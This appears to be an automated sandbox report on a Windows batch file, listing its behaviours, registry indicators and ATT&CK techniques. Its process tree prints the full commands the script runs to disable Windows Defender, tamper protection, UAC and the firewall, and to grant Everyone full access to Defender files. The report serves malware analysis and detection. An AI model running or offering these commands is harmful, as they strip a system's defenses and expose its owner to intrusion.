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Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 2 IoCs

defense_evasion

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4080	netsh.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4340	takeown.exe
3828	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4340	takeown.exe
3828	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement.mof	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ClientWMIInstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpRtp.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\EppManifest.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpEng.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\shellext.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpAsDesc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpEvMsg.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\EppManifest.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\AmStatusInstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\AmMonitoringInstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpOAV.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\NisSrv.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpAzSubmit.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpCommu.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpRes.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\DefenderCSP.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement_Uninstall.mfl	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3376	sc.exe
3936	sc.exe
3696	sc.exe
2472	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2476	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4412	PING.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4412	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3420	powershell.exe
3420	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeTakeOwnershipPrivilege	4340	takeown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 4412	2476	cmd.exe	84
PID 2476 wrote to memory of 3820	2476	cmd.exe	86
PID 3820 wrote to memory of 4464	3820	net.exe	87
PID 2476 wrote to memory of 3420	2476	cmd.exe	88
PID 2476 wrote to memory of 4044	2476	cmd.exe	89
PID 2476 wrote to memory of 3824	2476	cmd.exe	90
PID 2476 wrote to memory of 2932	2476	cmd.exe	91
PID 2476 wrote to memory of 2472	2476	cmd.exe	92
PID 2476 wrote to memory of 3376	2476	cmd.exe	93
PID 2476 wrote to memory of 3936	2476	cmd.exe	94
PID 2476 wrote to memory of 3696	2476	cmd.exe	95
PID 2476 wrote to memory of 4340	2476	cmd.exe	96
PID 2476 wrote to memory of 3828	2476	cmd.exe	97
PID 2476 wrote to memory of 3532	2476	cmd.exe	98
PID 2476 wrote to memory of 3880	2476	cmd.exe	99
PID 2476 wrote to memory of 4028	2476	cmd.exe	100
PID 2476 wrote to memory of 4080	2476	cmd.exe	101
PID 2476 wrote to memory of 4852	2476	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260723_c2fba3.bat"
1⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\system32\PING.EXE
  ping -n 8 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4412
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a=[DllImport('kernel32.dll')]::GetConsoleWindow();[DllImport('user32.dll')]::ShowWindow($a,0)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4044
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3824
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:2932
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3376
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3936
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3696
- C:\Windows\system32\takeown.exe
  takeown /f "C:\ProgramData\Microsoft\Windows Defender\*" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\system32\icacls.exe
  icacls "C:\ProgramData\Microsoft\Windows Defender\*" /grant Everyone:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3828
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:3532
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:3880
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:4028
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry